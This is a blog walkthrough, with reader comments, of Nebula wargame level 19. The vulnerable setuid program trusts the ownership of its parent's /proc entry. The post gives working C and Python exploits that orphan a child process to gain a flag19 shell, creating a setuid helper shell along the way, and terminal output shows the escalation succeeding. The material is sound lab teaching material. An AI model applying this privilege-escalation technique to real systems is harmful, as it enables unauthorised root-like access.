Lets see how to solve level [19] in Nebula. The code given checks whether its parent process is root using /proc entry.
exploit19.c
exploit19.c
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
This can be solved with little understanding about process management in linux. When a parent process exists before the child process returns, the child becomes an orphan
process. It is inherited by init process with pid 1 and owned by root. We will use this concept for this challenge. The idea is to fork a child, put it into sleep. When
the parent finishes execution, child(orphan) process calls execve() to execute the setuid flag19 binary.exploit19.c
#include <stdio.h>
#include <unistd.h>
int main(void)
{
pid_t child;
char *file = "/home/flag19/flag19";
char *arg[] = {"/bin/sh", NULL};
child = fork();
if(child == (pid_t) 0)
{
sleep(3);
if(getppid() == (pid_t) 1)
{
printf("Orphan...\n");
execve(file, NULL, NULL);
}
}
else
return 0;
}
I was expecting to get a privilege shell but that didnt happen. Everytime I ran the exploit, shell is launched but I was not able to interact with it.
level19@nebula:/tmp$ ps PID TTY TIME CMD 4951 pts/0 00:10:00 sh 5300 pts/0 00:00:20 sh 5323 pts/0 00:00:00 sh 5327 pts/0 00:00:00 ps level19@nebula:/tmp$ ./a.out level19@nebula:/tmp$ Orphan.... level19@nebula:/tmp$ ps PID TTY TIME CMD 4951 pts/0 00:10:00 sh 5300 pts/0 00:00:21 sh 5323 pts/0 00:00:00 sh 5329 pts/0 00:00:00 sh 5330 pts/0 00:00:00 ps level19@nebula:/tmp$On googling, it seems that the shell launched from orphaned process cannot interact with a terminal. So we need a work around for this. This is the final exploit
exploit19.c
#include <stdio.h>
#include <unistd.h>
int main(void)
{
pid_t child;
char *file = "/home/flag19/flag19";
char *arg[] = {"/bin/sh", "-c",
"gcc -o /tmp/sys /tmp/sys.c;chmod 4770 /tmp/sys", NULL};
char *env[] = {"PATH=/bin:/usr/bin",NULL};
child = fork();
if(child == (pid_t) 0)
{
sleep(3);
if(getppid() == (pid_t) 1)
{
printf("Orphan...\n");
execve(file, arg, env);
}
}
else
return 0;
}
sys.c
int main(void)
{
setresuid(geteuid(), geteuid(), geteuid());
system("/bin/sh");
return 0;
}
level19@nebula:/tmp$ gcc -o exploit19 exploit19.c level19@nebula:/tmp$ ./exploit19 level19@nebula:/tmp$ Orphan... level19@nebula:/tmp$ ./sys sh-4.2$ id uid=980(flag19) gid=1020(level19) groups=980(flag19),1020(level19) sh-4.2$ getflag You have successfully executed getflag on a target account sh-4.2$
You can get directly a shell provided that:
ReplyDelete- you take care of its input channel (keep it open). You only need to run your exploit in this way:
cat | ./exploit19
- arg0 in execv is "sh". Otherwise, since /bin/sh is linked to /bin/bash, bash will drop privileges (another choice is launch with "-p").
My full solution in Python:
level19@nebula:~$ cat l19local.py
import os, time
def child():
print 'Child ', os.getpid()
time.sleep(1)
# Important: arg0 should be "sh". Otherwise, since sh is linked to bash, bash will drop privileges
print "Running shell..."
os.execv("/home/flag19/flag19", ('sh',))
def parent():
newpid = os.fork()
if newpid == 0:
child()
else:
pids = (os.getpid(), newpid)
print "parent: %d, child: %d" % pids
parent()
level19@nebula:~$ cat | python l19local.py
parent: 14178, child: 14179
Child 14179
Running shell...
id
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
uname -a
Linux nebula 3.0.0-12-generic #20-Ubuntu SMP Fri Oct 7 14:50:42 UTC 2011 i686 i686 i386 GNU/Linux
VoilĂ :)
awesome solution. Thanks for sharing :)
ReplyDelete